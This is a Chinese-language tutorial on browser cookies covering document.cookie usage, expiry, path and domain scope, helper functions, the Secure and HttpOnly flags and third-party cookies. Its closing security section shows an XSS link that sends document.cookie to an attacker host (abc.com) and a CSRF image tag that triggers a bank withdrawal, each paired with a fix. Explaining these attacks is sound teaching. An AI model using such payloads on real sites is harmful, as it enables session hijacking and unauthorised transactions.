cookie
一、描述
cookie: 会话跟踪技术 客户端
cookie作用: 将网页中的数据保存到浏览器中
session: 会话跟踪技术 服务端
cookie是一个很小的文本文件,是浏览器储存在用户的机器上的。
Cookie是纯文本,没有可执行代码。储存一些服务器需要的信息,每次请求站点,会发送相应的cookie,这些cookie可以用来辨别用户身份信息等作用。
cookie可以包含任意的信息,不仅仅是id
//添加cookie的键值对时,必须要分开单个添加,不能合并写在一起
document.cookie = "name=lnj;";
document.cookie = "age=33;";
//错误写法:document.cookie = "name=lnj;age=33;gender=male;";
二、cookie生命周期
默认情况下生命周期是一次会话(浏览器被关闭)
如果通过expires= ; 设置了过期时间, 并且过期时间没有过期, 那么下次打开浏览器还是存在
如果通过expires= ; 设置了过期时间, 并且过期时间已经过期了,那么会立即删除保存的数据
<script>
window.onload = function (ev) {
var date = new Date();
date.setDate(date.getDate() - 1);//设置过期时间
document.cookie = "age=23;expires="+date.toGMTString()+";";
</script>
三、cookie注意点
cookie默认不会保存任何的数据
cookie不能一次性保存多条数据, 要想保存多条数据,只能一条一条的设置
cookie有大小和个数的限制
个数限制: 20~50
大小限制: 4KB左右
四、 cookie作用范围
同一个浏览器的同一个路径下可以访问(即文件名可以不同)
如果在同一个浏览器中, 默认情况下 下一级路径就可以访问
如果在同一个浏览器中, 想让上一级目录也能访问保存的cookie, 那么需要添加一个path属性才可以;
document.cookie = “name=zs;path=/;”;
例如:
保存到了www.it666.com/jQuery/Ajax/路径下
要想上一级的 www.it666.com/jQuery/ 路径下也能访问,需要添加一个path属性才可以
例如:
在www.it666.com下面保存了一个cookie,
那么我们在edu.it666.com中是无法访问的
如果想在edu.it666.com中也能访问, 那么我们需要再添加一个domain属性才可以;
document.cookie = “name=zs;path=/;domain=it666.com;”;
五、封装一个cookie方法
<script>
window.onload = function (ev) {
// document.cookie = "age=88;";
// addCookie("gender", "male");
// addCookie("score", "998", 1, "/", "127.0.0.1");
function addCookie(key, value, day, path, domain) {
// 1.处理默认保存的路径
var index = window.location.pathname.lastIndexOf("/")
var currentPath = window.location.pathname.slice(0, index);
path = path || currentPath;
// 2.处理默认保存的domain
domain = domain || document.domain;
// 3.处理默认的过期时间
if (!day) {
document.cookie = key + "=" + value + ";path=" + path + ";domain=" + domain + ";";
} else {
var date = new Date();
date.setDate(date.getDate() + day);
document.cookie = key + "=" + value + ";expires=" + date.toGMTString() + ";path=" + path + ";domain=" + domain + ";";
}
}
function getCookie(key) {
// console.log(document.cookie);
var res = document.cookie.split(";");
// console.log(res);
for (var i = 0; i < res.length; i++) {
// console.log(res[i]);
var temp = res[i].split("=");
// console.log(temp);
if (temp[0].trim() === key) {
return temp[1];
}
}
}
console.log(getCookie("name"));
// 默认情况下只能删除默认路径中保存的cookie, 如果想删除指定路径保存的cookie, 那么必须在删除的时候指定路径才可以
function delCookie(key, path) {
addCookie(key, getCookie(key), -1, path);
}
delCookie("name", "/");
}
</script>
六、hash
<script>
window.location.hash = 3;
console.log(window.location.hash.substring(1));//默认会打印#3
</script>
七、安全性
Secure: 设置了属性secure,cookie只有在https协议加密情况下才会发送给服务端。但是这并不是最安全的,由于其固有的不安全性,敏感信息也是不应该通过cookie传输的
禁止javascript操作cookie(为避免跨域脚本(xss)攻击,通过javascript的document.cookie无法访问带有HttpOnly标记的cookie。)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2017 07:28:00 GMT; Secure; HttpOnly
八、第三方cookie
第三方cookie就是cookie的域和地址栏中的域不匹配,这种cookie通常被用在第三方广告网站。为了跟踪用户的浏览记录,并且根据收集的用户的浏览习惯,给用户推送相关的广告。
九、安全事故
网络窃听
网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等)。
解决办法:服务器可以设置secure属性的cookie,这样就只能通过https的方式来发送cookies了。
DNS缓存中毒
如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 www.demo.com和h123456.www.demo.com是同一个子域,所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。
一般情况下是不会发生这种情况,通常是网络供应商错误。
跨站点脚本XSS
使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。
例子:
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>
当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。
解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。
跨站请求伪造CSRF
例如,SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素,例如,
<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
如果SanShao的银行将其认证信息保存在cookie中,并且cookie尚未过期,(当然是没有其他验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的情况下授权交易。
解决办法:增加其他信息的校验(手机验证码,或者其他盾牌)。